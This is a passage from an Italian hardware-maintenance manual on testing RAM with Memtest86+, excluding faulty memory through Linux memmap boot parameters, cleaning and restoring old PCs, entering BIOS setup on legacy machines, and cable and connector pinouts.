Perché un sistema operativo possa funzionare correttamente, è necessario che la memoria centrale sia perfettamente efficiente, in quanto di norma non vengono applicate tecniche di ridondanza in questo ambito. Purtroppo, spesso la memoria centrale presenta invece dei difetti che si manifestano, in modo casuale, in alcune porzioni della stessa. Per fortuna, tra i parametri di avvio di un kernel Linux è possibile escludere le aree che hanno dimostrato di essere difettose. Naturalmente, per mettere alla prova la memoria centrale serve un programma diagnostico, da usare al di fuori del sistema operativo.

Va comunque osservato che l'utilizzo di un disco RAM iniziale o la dimensione particolarmente grande del file del kernel, può essere incompatibile con l'indicazione di alcune aree di memoria difettose.

9.10.1 Esclusione di altri fattori

Quando si verifica il funzionamento della memoria centrale, per esempio con programmi come quello descritto nella sezione successiva, gli errori che si possono riscontrare possono essere determinati da fattori estranei alla memoria stessa. Per esempio possono dipendere da difetti nella logica intermedia, tra la memoria e il microprocessore; possono dipendere da una configurazione errata nel BIOS; possono dipendere dallo sporco accumulato all'interno dell'elaboratore.

Quando si verifica la presenza di problemi con un programma diagnostico, la prima cosa che conviene fare è pulire l'elaboratore, per quanto possibile; soprattutto è bene rimuovere la memoria (ammesso che sia rimovibile) e pulire in particolare sia i moduli di memoria, sia i connettori dove questi vanno inseriti. Se dopo tale pulizia gli errori permangono, si può provare

anche a scambiare i moduli tra i connettori, oppure si può provare a utilizzare qualche connettore che prima era libero. Se si dispone di altri elaboratori si può scambiare la memoria con quelli e ripetere l'esame diagnostico lì. Evidentemente, se in situazioni differenti si presentano gli stessi errori, oppure ne compaiono altri in zone vicine, è molto probabile che il difetto dipenda effettivamente dal modulo di memoria.

9.10.2 Memtest86+

Memtest86+[7] è un programma diagnostico per la memoria centrale che può funzionare con la maggior parte degli elaboratori x86. Il sito originale di distribuzione Memtest86+ è ⟨*http://www.memtest.org/*⟩.

Questo programma, per eseguire il proprio lavoro, deve essere avviato autonomamente, al di fuori del sistema operativo, per esempio con GRUB 1 o sistemi di avvio simili, oppure da un dischetto o da un CD/DVD autoavviabile.

Si osservi che Memtest86+ richiede pochissima memoria per funzionare, quindi è possibile eseguire la verifica anche con moduli singoli, in modo da escludere i problemi causati dall'incompatibilità reciproca di moduli di memoria differenti.

Generalmente sono disponibili dei file-immagine già pronti, sia per dischetto, sia per CD/DVD. Eventualmente si può estrapolare facilmente il file binario '`memtestp.bin`' e lo si può far partire, per esempio con GRUB 1, usando, nel file '`menu.lst`', direttive simili a quelle seguenti:

```
...
title  Memtest86+
kernel (hd0,0)/boot/memtestp/memtestp.bin
...
```

Nel caso di altri sistemi di avvio, può darsi che l'uso diretto del file '`memtestp.bin`' non sia possibile; in tal caso, si può predisporre un file-immagine di un dischetto, dove il contenuto di '`memtestp.bin`' è riportato, tale e quale, nei primi settori (dal primo in poi). Ciò è necessario in particolare con SYSLINUX. Supponendo di avere realizzato il file-immagine '`memtestp.dsk`', il file di configurazione di SYSLINUX potrebbe contenere le direttive seguenti, dove va osservato l'uso particolare del file '`memdisk`' (si tratta di un modulo di SYSLINUX) che deve essere presente nella stessa directory:

```
LABEL mem
 KERNEL memdisk
 APPEND initrd=memtestp.dsk
```

Appena avviato, Memtest86+ inizia a scrivere e a rileggere la memoria con vari tipi di modelli, segnalando gli indirizzi dove la lettura riporta un risultato diverso da quanto scritto. Gli indirizzi vengono indicati in esadecimale, con una traduzione approssimativa in mebibyte (simbolo Mibyte) che però non è esatta nella porzione decimale. Memtest86+ continua a funzionare senza sosta fino a quando l'elaboratore rimane acceso, oppure quando viene premuto il tasto

[*Esc*] che provoca il riavvio del sistema. Eventualmente sono disponibili anche altri comandi, annotati alla base della schermata.

A titolo di esempio, potrebbe essere riportato un elenco di errori come quello seguente, nell'ambito di una memoria da 512 Mibyte:

$0D05DF28_{16}$, $0D05DF68_{16}$, $0D05E328_{16}$, $0D05E428_{16}$, $0E05DCAC_{16}$, $0E05DF08_{16}$, $0E05DF48_{16}$, $0E05E308_{16}$, $0E05E408_{16}$, $1CBBFFBC_{16}$

Dal momento che Memtest86+ ripete continuamente la propria ricerca, è normale che gli indirizzi difettosi compaiano in modo disordinato; di conseguenza il riordino va fatto a mano.

Gli indirizzi rappresentano i byte che in memoria hanno manifestato il problema. Per utilizzare queste informazioni occorre mettersi a tavolino e tradurre i valori in base dieci (un programma come Gbase è ottimo per questo scopo) e poi può essere necessario calcolare gli spazi utilizzabili, ma considerando che conviene prendersi un po' larghi e prevedere che gli errori possono presentarsi in futuro in celle di memoria vicine a quelle che sono già state rilevate. Per esempio, dati i valori già ipotizzati, si potrebbe preparare una tabellina come quella seguente:

Indirizzo in base sedici	Indirizzo in base dieci	Indirizzo diviso 1048576 (indirizzo in mebibyte)
$0D05DF28_{16}$	218488616	208,37
$0D05DF68_{16}$	218488680	208,37
$0D05E328_{16}$	218489640	208,37
$0D05E428_{16}$	218489896	208,37
$0E05DCAC_{16}$	235265196	224,37
$0E05DF08_{16}$	235265800	224,37
$0E05DF48_{16}$	235265864	224,37
$0E05E308_{16}$	235266824	224,37
$0E05E408_{16}$	235267080	224,37
$1CBBFFBC_{16}$	482082748	459,75

A questo punto si comprende che gli errori si addensano negli intervalli 208-209 Mibyte, 224-225 Mibyte e 459-460 Mibyte.

9.10.3 Parametri di avvio del kernel

Per dire al kernel Linux che deve utilizzare solo una certa porzione della memoria centrale, si usa il parametro '**`memmap=exactmap`**', seguito da altri parametri del tipo:

memmap=***lunghezza*** [K|M|G] @***inizio*** [K|M|G]

Per esempio, per dire al kernel di utilizzare lo spazio dei primi 640 Kibyte e poi di partire dal primo mebibyte (simbolo Mibyte) per arrivare alla fine dei 512 Mibyte (saltando quindi lo spazio successivo ai 640 Kibyte e precedente al primo mebibyte), si deve scrivere una cosa così:

```
memmap=exactmap memmap=640K@0 memmap=511M@1M
```

Precisamente, ciò significa che deve essere utilizzato lo spazio che inizia dall'indirizzo zero e si estende in avanti per 640 Kibyte, quindi si deve prendere quello che inizia da 1 Mibyte e si

estende per altri 511 Mibyte. Come si comprende, anche per questo occorre mettersi a tavolino e fare bene i calcoli. Riprendendo l'esempio già descritto nella sezione precedente, la tabellina potrebbe essere estesa così:

Indirizzo in base sedici	Indirizzo in base dieci	Indirizzo in mebibyte	Parametro del kernel
$0D05DF28_{16}$	218488616	208,37	`memmap=207@1M`
$0D05DF68_{16}$	218488680	208,37	
$0D05E328_{16}$	218489640	208,37	
$0D05E428_{16}$	218489896	208,37	
$0E05DCAC_{16}$	235265196	224,37	`memmap=15M@209M`
$0E05DF08_{16}$	235265800	224,37	
$0E05DF48_{16}$	235265864	224,37	
$0E05E308_{16}$	235266824	224,37	
$0E05E408_{16}$	235267080	224,37	
$1CBBFFBC_{16}$	482082748	459,75	`memmap=234M@225M`
			`memmap=52M@460M`

Per esempio con GRUB 1, nel file di configurazione per l'avvio si potrebbe scrivere così:

```
...
title  memoria difettosa
kernel (hd0,0)/vmlinuz root=/dev/hda1 ro memmap=exactmap ↩
↪       memmap=207@1M memmap=15M@209M memmap=234M@225M ↩
↪       memmap=52M@460M
...
```

Come si vede, per semplicità è stata omessa anche la porzione di memoria dei primi 640 Kibyte.

9.11 Restauro

Il recupero di un vecchio elaboratore richiede prima di tutto che questo venga smontato, ripulito e riparato per quanto possibile. È molto probabile che si svolgano queste operazioni senza la disponibilità di una documentazione adeguata, pertanto occorre annotare tutto ciò che serve a rimontare i vari componenti, prima di procedere alla loro separazione. È molto importante annotare anche la configurazione dei ponticelli sulla scheda madre ed eventualmente sulle altre schede presenti.

9.11.1 Ripulitura

La ripulitura di un vecchio elaboratore va eseguita normalmente con un aspirapolvere, usando poca potenza, con l'aiuto eventuale di aria compressa. Tuttavia, se si tratta di sporco grasso, come può essere il deposito di catrame creato dal fumo, non resta altro che il lavaggio letterale di quasi tutti i componenti. Il lavaggio è comunque un'operazione rischiosa, pertanto va fatto solo quando non ci sono alternative ragionevoli migliori.

Per lavare i componenti di un elaboratore si può usare una lavastoviglie, programmando un ciclo breve a 50 gradi centigradi. Per il lavaggio si usano le stesse sostanze che servono normalmente (sale per lavastoviglie, brillantante, detersivo).

Non si possono lavare le unità a disco e a nastro (eccezionalmente, le unità a dischetti magnetici da 9 cm si possono lavare, come viene descritto in una sezione apposita) e in generale occorre avere il buon senso di capire cosa non si può infilare in lavastoviglie.

I componenti che dispongono di una batteria rimovibile, specie le schede madri con le note batterie a bottone, devono essere privati della batteria stessa, perché si esaurirebbe inutilmente, producendo immediatamente dell'acido che danneggia inizialmente l'alloggiamento della batteria, per poi espandersi sulla scheda madre. Per lo stesso motivo, indipendentemente dal fatto che si lavino o no le schede in questione, le batterie vanno tolte quando i componenti devono essere conservati inutilizzati per qualche tempo.

Terminato il ciclo di lavaggio, i componenti vanno estratti dalla lavastoviglie e posti in un luogo dove possano rimanere ad asciugare per un paio di giorni. Prima di essere riposti ad asciugare, conviene comunque scuoterli per fare uscire l'acqua rimasta imprigionata nelle fessure.

Figura 9.132. Un alimentatore, prima e dopo il lavaggio; quello sulla destra è ancora umido.

Figura 9.133. Una scheda di rete, prima e dopo il lavaggio; quella sulla destra è ancora umida.

Figura 9.134. Una scheda madre, prima e dopo il lavaggio; quella sulla destra è ancora umida.

9.11.2 Lavaggio di unità a dischetti

In generale, le unità di memorizzazione a disco non possono essere lavate. Eccezionalmente, le vecchie unità a dischetti da 5,25 in e da 3,5 in (9 cm) possono essere lavate, avendo l'accortezza, dopo il lavaggio, di oliare o ingrassare alcune parti, come si vede nella figura successiva, usando olio o grasso adatti (per esempio, olio o grasso di vaselina, puri).

Figura 9.135. I punti da oliare o ingrassare. Si deve avere l'accortezza di non esagerare ed evitare che le testine entrino in contatto con queste sostanze.

Oliare

Riquadro 9.136. Perché non si possono lavare le unità a CD o DVD.

Le unità ottiche (o magneto-ottiche), come per esempio i lettori o masterizzatori CD e DVD, non possono essere lavati, perché le lenti sono rivestite da una sostanza che viene rimossa con il lavaggio. Evidentemente la presenza di questa sostanza è indispensabile, perché dopo il lavaggio le unità, pur funzionando meccanicamente, non leggono più i dischi.

9.11.3 Pulizia dei monitor

I monitor a colori a tubo sono molto difficili da smontare, perché la loro costruzione richiede un intreccio preciso di fili per il controllo dei campi magnetici; tuttavia si può fare ugualmente una piccola pulizia togliendo il coperchio posteriore.

Si osservi che per operare con un monitor occorre maggiore prudenza, sia per la presenza del tubo in sé, sia per il fatto che al suo interno si producono tensioni molto elevate, che possono stazionare anche dopo lo spegnimento e il distacco del cavo di alimentazione dalla rete elettrica. Pertanto, prima di intervenire sul gruppo di alta tensione conviene iniziare toccando con un cacciavite (naturalmente deve avere il manico ben isolato), osservando se si formano piccole scariche elettrostatiche.

Figura 9.137. Lavaggio del coperchio posteriore di un monitor, con l'aiuto di una doccia. Sulla sinistra si vede la sporcizia maggiore accumulata in corrispondenza del cavo di alta tensione.

Una volta smontato il coperchio posteriore, il suo lavaggio è la cosa più semplice da fare, che si può eseguire in una vasca da bagno o su un piatto doccia. Per la pulizia si possono usare prodotti per la casa di uso comune, **purché se ne conosca l'uso**.

Per la pulizia di materiali plastici e di materiali in gomma, **non si può usare varecchina** o prodotti simili che contengono composti del cloro, perché la gomma si scioglierebbe irrimediabilmente.

Figura 9.138. Pulizia all'interno del monitor. Sulla sinistra si vede il cavo di alta tensione (quello rosso) e altri componenti in plastica di colore chiaro velati da uno strato di polvere (attaccatasi elettrostaticamente); sulla destra, lo stesso monitor dopo una pulizia superficiale del cavo e delle superfici accessibili senza danneggiare i componenti elettronici.

La pulizia dell'interno del monitor può essere fatta con uno straccio un po' umido, ma **solo dopo aver verificato che non ci sono cariche elettrostatiche**, con l'aiuto di cacciavite ben isolato. La pulizia del cavo di alta tensione può fare emergere dei difetti, come punti di scarica, che si mostrano con un puntino nero. A ogni modo, la pulizia delle parti di alta tensione accessibili riduce le perdite di energia, cosa che dovrebbe tradursi in un'immagine migliore.

Figura 9.139. Pulizia di un monitor molto sporco (a sinistra), dove il risultato è poco soddisfacente, anche a causa del fatto che probabilmente si è insinuato dell'inchiostro in polvere proveniente da una stampante laser usata in prossimità del monitor stesso.

Dove non si può arrivare con lo straccio, o semplicemente non lo si può usare, si può fare un tentativo con un pennello morbido, anche se questo significa riempire di polvere l'ambiente circostante.

9.11.4 Pulizia azzardata dei monitor

Nel caso non ci fossero alternative, si può tentare il recupero di un monitor a tubo, attraverso un lavaggio, da attuare però con l'ausilio di una doccia. Si tratta comunque di un lavoro che difficilmente può produrre un risultato positivo. Va comunque fatta molta attenzione all'asciugatura, la quale deve essere perfetta, altrimenti il generatore di alta tensione si distruggerebbe alla prima accensione.

Nelle figure successive si vedono le fasi del lavaggio di un monitor a tubo, molto grande. L'intento del lavaggio era la rimozione di tutte le particelle solide che si erano insinuate ovunque, le quali potevano produrre la perdita di tensione sull'anodo del tubo RC. Tuttavia, anche se alla fine il monitor si è acceso, il problema non è stato risolto e, al contrario, si è aggravato leggermente.

Figura 9.140. Tentativo di lavaggio di un monitor.

Figura 9.141. Asciugatura al sole.

9.11.5 Pulizia della tastiera

La pulizia della tastiera richiede un lavoro piuttosto noioso, perché, ammesso che ciò sia possibile, richiede la rimozione di tutti i tasti e la pulitura di questi uno per uno.

Figura 9.142. Una tastiera Olivetti degli anni 1990, prima della pulizia, dopo avere sollevato la cornice superiore.

Figura 9.143. Una tastiera Olivetti degli anni 1990, prima della pulizia, dopo l'estrazione di tutti i tasti. Viene messo in evidenza quanta sporcizia si accumuli sotto i tasti.

Una volta estratti i tasti dalla tastiera, conviene passare a una pulizia a secco, eventualmente con un pennello morbido. In questo caso non si può usare l'acqua, se non per le parti esterne in plastica, come la cornice superiore e la base inferiore della tastiera, perché l'acqua questa potrebbe danneggerebbe la membrana in gomma della tastiera, ma soprattutto perché sarebbe molto difficile asciugare perfettamente questa parte.

Figura 9.144. Un pennello morbido è più che sufficiente per la pulizia di questo tipo di tastiera.

Una volta puliti i componenti esterni (probabilmente con l'aiuto di una doccia e con un detergente sgrassatore adatto), dopo averli asciugati si passa a rimontare la tastiera, pulendo tasto per tasto prima di inserirlo nuovamente nella sua sede.

Figura 9.145. Ricostruzione della tastiera.

9.11.6 Batteria

Dopo qualche anno, la batteria che mantiene la memoria C/MOS deve essere sostituita, anche se si tratta di un accumulatore. Se la batteria è saldata, occorre usare un saldatore a stagno con una punta sottile e probabilmente è necessario predisporre una batteria alternativa, che offra una tensione **non superiore** a quella della batteria estratta.

Figura 9.146. Sostituzione di una batteria, originariamente da 3,6 V, con una coppia di batterie stilo da 1,5 V, messe in serie (per un totale di 3 V).

Dal momento che le batterie che si vanno a mettere non sono ancorate alla scheda madre, è necessario isolarle e fissarle da qualche parte nel contenitore dell'elaboratore. La figura mostra delle batterie non isolate per fare comprendere esattamente il procedimento.

9.11.7 Osservazioni sulla configurazione BIOS di elaboratori molto vecchi

La configurazione del BIOS attraverso una memoria C/MOS, degli elaboratori con architettura x86, viene introdotta precisamente dai microprocessori i286. Originariamente questa memoria veniva alimentata da un piccolo accumulatore NiCd (nichel-cadmio), destinato comunque a una rapida distruzione. Purtroppo, il programma di configurazione del BIOS dei primi elaboratori di questo tipo, non faceva parte del BIOS stesso, oppure le funzioni incorporate erano estremamente limitate.

Le tabelle successive riepilogano i comportamenti di alcuni elaboratori o di BIOS più noti. Come si può osservare esiste una grande quantità di possibilità e sicuramente i casi non si esauriscono a quelli descritti. Nelle situazioni in cui i vari tentativi falliscono, si può cercare

di provocare una situazione per cui è il BIOS stesso a suggerire la configurazione: staccando la tastiera ed eventualmente anche tutte le unità, escluso ciò che serve per poter visualizzare qualcosa sullo schermo.

Tabella 9.147. Accesso alla configurazione del BIOS in base alla combinazione di tasti.

Comando	Elaboratore o BIOS tipico	Note
[*Canc*]	BIOS AMI e BIOS Award	
[*Esc*]	BIOS DTK	
[*Ins*]	IBM	
[*F1*]	IBM	
[*F2*]	Packard Bell	
[*F10*]	Compaq	Si preme il tasto quando appare un rettangolino lampeggiante all'angolo superiore destro dello schermo. Il programma per la modifica della configurazione risiede probabilmente nel disco fisso.
[*Ctrl Ins*]	IBM	Quando un cursore appare all'angolo superiore destro dello schermo.
[*Ctrl s*]	BIOS Phoenix	
[*Ctrl Alt*]	IBM	
[*Ctrl Alt Invio*]	Dell	
[*Ctrl Alt Esc*]	AST	
[*Ctrl Alt Ins*]	Zenith	
[*Ctrl Alt ?*]	IBM	
[*Ctrl Alt s*]	BIOS Phoenix	
[*Ctrl Alt a*]	Fortiva	
[*Maiuscole Ctrl Esc*]	Tandon	
[*Ctrl Alt u*]	Olivetti M4	Il programma per la modifica della configurazione risiede probabilmente nel disco fisso.

Tabella 9.148. Accesso alla configurazione del BIOS in base al nome del BIOS.

BIOS	Comando
AMI	[*Canc*], [*F1*], [*F2*]
Award	[*Canc*], [*Ctrl Alt Esc*]
DTK	[*Esc*]
Phoenix	[*F1*], [*F2*], [*Ctrl s*], [*Ctrl Alt Esc*], [*Ctrl Alt Ins*], [*Ctrl Alt s*]
Opus	[*Ctrl Alt Esc*]

Tabella 9.149. Accesso alla configurazione del BIOS in base al nome dell'elaboratore.

Elaboratore	Comando	Note
Acer	[*Ctrl Alt Esc*]	
ALR	[*Ctrl Alt Esc*], [*F2*]	
Aptiva	[*F1*]	
AST	[*F2*], [*Ctrl Alt Esc*]	
Compaq	[*F10*]	Si deve premere il tasto quando appare un rettangolino lampeggiante all'angolo superiore destro dello schermo. Il programma di configurazione è esterno.
Dell	[*F1*], [*Canc*], [*Ctrl Alt Invio*]	Alcuni modelli richiedono la pressione del tasto di riavvio (*reset*) per due volte.
Fortiva	[*Ctrl Alt a*]	

Elaboratore	Comando	Note
HP	[*F1*], [*F2*]	
IBM	[*F1*], [*Ctrl Alt Ins*], [*Ins*], [*Ctrl Alt*], [*Ctrl Ins*], [*Ctrl Alt ?*]	Nel caso della combinazione [*Ctrl Ins*], questa va usata quando il cursore si posiziona all'angolo superiore destro dello schermo.
NEC	[*F2*]	
Olivetti	[*Maiuscole Ctrl Alt* Canc], [*Ctrl Alt u*]	Il programma per la modifica della configurazione risiede probabilmente nel disco fisso.
Packard Bell	[*F1*], [*F2*]	
Sharp	[*F2*]	
Sony	[*F3*]	
Tandon	[*Maiuscole Ctrl Esc*], [*Ctrl Alt Esc*]	
Toshiba	[*Esc*], [*F1*]	
Zenith	[*Ctrl Alt Ins*]	

La configurazione contenuta nella memoria C/MOS cambia in base al BIOS, ovvero in base alle caratteristiche del firmware. Quando il BIOS non contiene anche il programma per accedere alla modifica della configurazione, questo può essere stato distribuito assieme al sistema operativo (si tratta normalmente del Dos), oppure può risiedere in una partizione speciale del disco fisso.

L'utilizzazione di una porzione del disco fisso per collocare il programma di modifica è tipico degli elaboratori Olivetti e Compaq.

In mancanza di altro, quando c'è la necessità di intervenire nella configurazione del BIOS, ci si può arrischiare di azzerare completamente la memoria C/MOS, attraverso l'uso di qualche programma che consenta di farlo. Eventualmente, anche un programma che salva e recupera la configurazione può essere usato per lo scopo, modificando il file con un programma che consenta di intervenire in modo binario (di solito in esadecimale). In questo modo si spera che il BIOS attribuisca almeno una configurazione predefinita; d'altra parte, questo è ciò che succede quando si scarica la batteria, anche se l'azzeramento non porta necessariamente a buoni risultati.

Per modificare o azzerare la configurazione del BIOS si potrebbe tentare l'uso di Cmoser[8] che è disponibile presso ⟨*ftp://ftp.simtel.net/pub/simtelnet/msdos/sysutl/cmoser11.zip* ⟩ ed eventualmente anche altri siti (⟨*http://www.google.com/search?q=cmoser11.zip* ⟩).

Il BIOS degli elaboratori più vecchi non è in grado di individuare da solo la geometria del disco fisso ATA. Se non c'è la possibilità di avviare un sistema GNU/Linux allo scopo di avere questa informazione, si può usare il programma Dug_ide,[9] disponibile presso ⟨*ftp://ftp.simtel.net/pub/simtelnet/msdos/diskutil/dugide21.zip* ⟩ ed eventualmente anche attraverso altri siti (⟨*http://www.google.com/search?q=dugide21.zip* ⟩).

Oltre che salvare il contenuto della configurazione, può essere utile fare una copia del BIOS in un file, da conservare da qualche parte. Teoricamente, quando la memoria ROM programmabile dovesse alterarsi, dovrebbe essere possibile reperire un programmatore di ROM in grado di riprodurne una copia fisica. A tale proposito possono essere utili due programmi: Bios,[10] il quale dovrebbe essere disponibile presso ⟨*http://homepages.uni-paderborn.de/naida/mb/mbockelkamp/bios1351.zip* ⟩ o ⟨*http://mbockelkamp.dyndns.org/mbockelkamp/* ⟩ e Biosutil,[11] disponibile presso ⟨*http://www.drivermuseum.com/files/utils/bios_u.html* ⟩.

9.12 Connettori e cablaggi

9.12.1 Video MGA, CGA, EGA, Hercules

Figura 9.150. Schema di collegamento del connettore DIN a sei poli di un monitor monocromatico.

1 = sincronizzazione orizzontale
2 = sincronizzazione verticale
3 = messa a terra del segnale
4 = intensità
5 = video
6 = terra

Figura 9.151. Schema del cavo di adattamento da connettore DIN a sei poli a connettore DB-9 di una scheda video grafica EGA (o CGA o Hercules).

Figura 9.152. Lo schema riportato in una vecchia confezione di un cavo di adattamento.

9.12.2 Tastiere

Figura 9.153. Connettore PS/2, ovvero «mini-DIN», di una tastiera.

femmina, esterno maschio, esterno

Terminale	Denominazione standard	Annotazioni
1	keyboard data	Il filo potrebbe essere di colore bianco.
2	keyboard reset	Non utilizzato e non collegato.
3	ground	Il filo potrebbe essere di colore bianco giallo ed è separato elettricamente dalla schermatura esterna.
4	keyboard power supply	Il filo potrebbe essere di colore bianco rosso e viene fornita una tensione di +5 V.
5	keyboard clock	Il filo potrebbe essere di colore verde.
6	--	Non utilizzato.

Figura 9.154. Connettore AT, ovvero «DIN», di una tastiera.

femmina, esterno maschio, interno
maschio, esterno femmina, interno

Terminale	Denominazione standard	Annotazioni
1	keyboard clock	
2	keyboard data	
3	keyboard reset	Non utilizzato e non collegato.
4	ground	
5	keyboard power supply	Viene fornita una tensione di +5 V.

Tabella 9.155. Il cavo di una tastiera «AT» che termina con un connettore «DIN», normalmente, all'altra estremità è collegato al circuito stampato attraverso un connettore rettangolare a sei poli, secondo questa numerazione.

Terminale	Denominazione standard	Annotazioni
1	keyboard clock	
2	keyboard data	
3	--	Non utilizzato.
4	--	Non utilizzato.
5	ground	
6	keyboard power supply	+5 V.

9.12.3 Porte seriali

Per realizzare un cavo Null-modem che permetta la connessione tra due elaboratori (o comunque due unità DTE) attraverso la porta seriale utilizzando un controllo di flusso software, ovvero XON/XOFF, sono sufficienti tre fili. Nello schema della tabella 9.156 sono rappresentate le diverse possibilità di collegamento a seconda che si utilizzino connettori DB-25 o DB-9.

Tabella 9.156. Cavo seriale a tre fili, per collegamenti tra DTE e DTE.

DB-25 femmina	DB-25 femmina	DB-25 femmina	DB-9 femmina	DB-9 femmina	DB-9 femmina
2	3	2	2	2	3
3	2	3	3	3	2
7	7	7	5	5	5

Per realizzare un cavo Null-modem che permetta la connessione tra due elaboratori (o comunque due unità DTE) attraverso la porta seriale utilizzando un controllo di flusso hardware, ovvero RTS/CTS, sono necessari sette fili. Nello schema della tabella 9.157 sono rappresentate le diverse possibilità di collegamento a seconda che si utilizzino connettori DB-25 o DB-9 femmina.

Tabella 9.157. Cavo seriale a sette fili, per collegamenti tra DTE e DTE.

DB-25 femmina	DB-25 femmina	DB-25 femmina	DB-9 femmina	DB-9 femmina	DB-9 femmina
2	3	2	2	3	2
3	2	3	3	2	3
4	5	4	8	7	8
5	4	5	7	8	7
6+8	20	6+8	4	6+1	4
20	6+8	20	6+1	4	6+1
7	7	7	5	5	5

Figura 9.158. Disposizione dei contatti di un connettore BD-25 femmina.

```
  13                        1
.----------------------------.
 \ O O O O O O O O O O O O O /
  \ O O O O O O O O O O O O /
   `-----------------------'
  25                       14
```

Figura 9.159. Disposizione dei contatti di un connettore BD-9 femmina.

```
   5       1
.-------------.
 \ O O O O O /
  \ O O O O /
   `-------'
    9     6
```

9.12.4 Porte parallele

«

Il cavo parallelo incrociato, detto anche Null-printer o Laplink o Interlink, è utilizzabile in particolare per le connessioni PLIP. Permette il collegamento attraverso porte parallele normali. L'eventuale schermatura metallica può essere collegata alla massa del connettore, ma solo a uno dei due capi. Controllare la documentazione contenuta nel file '***sorgenti_linux***`/drivers/net/README1.PLIP`'.

Tabella 9.160. Cavo parallelo incrociato.

Connettore A DB-25 maschio Nome	Contatto	Contatto	Connettore B DB-25 maschio Nome
Data Bit 0	2	15	Error
Data Bit 1	3	13	Select
Data Bit 2	4	12	Paper Out
Data Bit 3	5	10	Acknowledge
Data Bit 4	6	11	Busy
Acknowledge	10	5	Data Bit 3
Busy	11	6	Data Bit 4
Paper Out	12	4	Data Bit 2
Select	13	3	Data Bit 1
Error	15	2	Data Bit 0
Signal Ground	25	25	Signal Ground

Il cavo parallelo bidirezionale **non è più utilizzato** con GNU/Linux: permetteva il collegamento attraverso porte parallele bidirezionali con velocità di comunicazione maggiori rispetto a un cavo incrociato normale.

La connessione di un cavo bidirezionale su elaboratori accesi comporta qualche rischio in più rispetto alla connessione di un cavo normale. Sotto questo aspetto, l'uso di un cavo del genere, anche se potrebbe fornire prestazioni doppie rispetto a un cavo incrociato normale, è **generalmente sconsigliabile**.

Tabella 9.161. Cavo parallelo bidirezionale **non più utilizzato** con GNU/Linux.

Connettore A DB-25 maschio Nome	Contatto	Contatto	Connettore B DB-25 maschio Nome
Strobe	1	11	Busy
Data Bit 0	2	2	Data Bit 0
Data Bit 1	3	3	Data Bit 1
Data Bit 2	4	4	Data Bit 2
Data Bit 3	5	5	Data Bit 3
Data Bit 4	6	6	Data Bit 4
Data Bit 5	7	7	Data Bit 5
Data Bit 6	8	8	Data Bit 6
Data Bit 7	9	9	Data Bit 7
Busy	11	1	Strobe
Paper Out	12	14	Autofeed
Select	13	17	Select
Autofeed	14	12	Paper Out
Error	15	18	Ground
Reset	16	10	Acknowledge
Ground	18	15	Error
Signal Ground	25	25	Signal Ground

Figura 9.162. Disposizione dei contatti di un connettore BD-25 maschio.

```
   1                       13
.-----------------------------.
 \ * * * * * * * * * * * * * /
  \ * * * * * * * * * * * * /
   `-----------------------'
   14                    25
```

Figura 9.163. Disposizione dei contatti di un connettore Centronics a 36 poli (stampante).

```
   18                                 1
.-------------------------------------------.
 \   # # # # # # # # # # # # # # # # # #    /
  \ ==================================== /
   \ # # # # # # # # # # # # # # # # # # /
    `-----------------------------------'
   36                                 19
```

9.12.5 Reti Ethernet

Figura 9.164. Connettori RJ-45 (ISO 8877).

```
                    /       /
                   / cavo  /
      Spina       /       /
               /----------/
              / ///////// /|              Presa (foro)
             / ///////// / |
            |-----------|  /              |-----------|
            | 87654321  | /               | 12345678  |
            |__       __|/                |/_       /_|
               |_____|                       |/____|
```

Figura 9.165. Cavo Ethernet 10baseT diretto. Le coppie 1-2 e 3-6 sono ritorte.

Spina RJ-45 Nome	Contatto	Colore filo	Contatto	Spina RJ-45 Nome
TxData +	1	bianco/arancio	1	TxData +
TxData −	2	arancio	2	TxData −
RxData +	3	bianco/verde	3	RxData +
RxData −	6	verde	6	RxData −

Figura 9.166. Cavo Ethernet 10baseT incrociato per connettere due sole stazioni senza altri componenti intermedi. Le coppie 1-2:3-6 e 3-6:1-2 sono ritorte.

10baseT incrociato

collegamenti essenziali

Spina RJ-45 Nome	Contatto	Colore filo	Contatto	Spina RJ-45 Nome
TxData +	1	bianco/arancio	3	RxData +
TxData –	2	arancio	6	RxData –
RxData +	3	bianco/verde	1	TxData +
RxData –	6	verde	2	TxData –

Figura 9.167. Cavo Ethernet 100baseT categoria 5 diretto. Le coppie 1-2, 3-6, 4-5 e 7-8 sono ritorte.

«T–568B» «T–568B»

100baseT cat 5 diretto

Spina RJ-45 (T-568B) Nome	Contatto	Colore filo	Contatto	Spina RJ-45 (T-568B) Nome
tx-d1+	1	arancio/bianco	1	tx-d1+
tx-d1–	2	arancio	2	tx-d1–
rx-d2+	3	bianco/verde	3	rx-d2+
bi-d4+	4	blu	4	bi-d4+
bi-d4–	5	blu/bianco	5	bi-d4–
rx-d2–	6	verde	6	rx-d2–
bi-d3+	7	marrone/bianco	7	bi-d3+
bi-d3–	8	marrone	8	bi-d3–

Figura 9.168. Cavo Ethernet 100baseT categoria 5 incrociato. Le coppie 1-2:3-6, 3-6:1-2, 4-5:7-8 e 7-8:4-5 sono ritorte.

«T–568B» «T–568A»

100baseT cat 5 incrociato

Spina RJ-45 (T-568B)		Colore		Spina RJ-45 (T-568A)
Nome	Contatto	filo	Contatto	Nome
tx-d1+	1	arancio/bianco	3	rx-d2+
tx-d1–	2	arancio	6	rx-d2–
rx-d2+	3	bianco/verde	1	tx-d1+
bi-d4+	4	blu	4	bi-d4+
bi-d4–	5	blu/bianco	5	bi-d4–
rx-d2–	6	verde	2	tx-d1–
bi-d3+	7	marrone/bianco	7	bi-d3+
bi-d3–	8	marrone	8	bi-d3–

Tabella 9.169. I cavi si distinguono in categorie, secondo le prestazioni offerte.

Categoria	Descrizione
categoria 1	Nessun criterio di prestazioni.
categoria 2	1 MHz (cavi telefonici).
categoria 3	16 MHz (Ethernet 10baseT).
categoria 4	20 MHz (Token-Ring e Ethernet 10baseT).
categoria 5	100 MHz (Ethernet 100baseT e 10baseT).
categoria 5e	1 GHz (Ethernet 1000baseT, 100baseT e 10baseT).
categoria 6	1 GHz (Ethernet 1000baseT, 100baseT e 10baseT).

9.13 Riferimenti

- *How to Convert a Computer ATX Power Supply to a Lab Power Supply*

  ⟨*http://www.wikihow.com/Convert-a-Computer-ATX-Power-Supply-to-a-Lab-Power-Supply* ⟩

- Intel corporation, *ATX12V Power Supply Design Guide*, 2005

  ⟨*http://www.formfactors.org/developer%5Cspecs%5CATX12V_PSDG_2_2_public_br2.pdf* ⟩

- Leroy Davis, *IDE (ATA) Bus*

  ⟨*http://www.interfacebus.com/Design_Connector_IDE.html* ⟩

- *Computer hope*, *Hard disk drive definitions*

